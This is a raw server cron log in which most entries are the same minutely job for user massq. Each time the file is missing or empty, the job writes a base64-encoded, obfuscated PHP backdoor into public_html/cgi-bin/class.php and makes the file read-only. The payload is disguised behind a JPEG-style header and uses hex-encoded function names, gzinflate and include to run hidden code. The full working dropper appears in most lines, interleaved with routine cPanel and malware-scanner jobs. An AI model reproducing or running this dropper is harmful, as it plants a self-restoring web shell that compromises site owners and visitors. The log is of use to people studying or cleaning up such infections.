Nov 11 01:51:01 server CROND[10432]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 01:52:01 server CROND[11390]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 01:53:01 server CROND[12141]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 01:54:01 server CROND[13119]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 01:55:01 server CROND[13991]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 01:55:01 server CROND[13992]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 01:55:01 server CROND[13993]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 01:56:01 server CROND[14857]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 01:57:01 server CROND[15650]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 01:57:01 server CROND[15652]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 11 01:58:01 server CROND[16448]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 01:59:01 server CROND[17256]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 02:00:01 server CROND[18086]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 02:00:01 server CROND[18093]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 02:00:01 server CROND[18098]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 02:00:01 server CROND[18100]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2&gt;&amp;1)
Nov 11 02:00:01 server CROND[18103]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 02:00:01 server CROND[18102]: (root) CMD (/usr/local/cpanel/bin/backup)
Nov 11 02:01:01 server CROND[18945]: (root) CMD (run-parts /etc/cron.hourly)
Nov 11 02:01:01 server CROND[18946]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 02:01:01 server run-parts(/etc/cron.hourly)[18945]: starting 0anacron
Nov 11 02:01:01 server anacron[18958]: Anacron started on 2025-11-11
Nov 11 02:01:01 server anacron[18958]: Normal exit (0 jobs run)
Nov 11 02:01:01 server run-parts(/etc/cron.hourly)[18960]: finished 0anacron
Nov 11 02:02:01 server CROND[19776]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 02:03:01 server CROND[20659]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
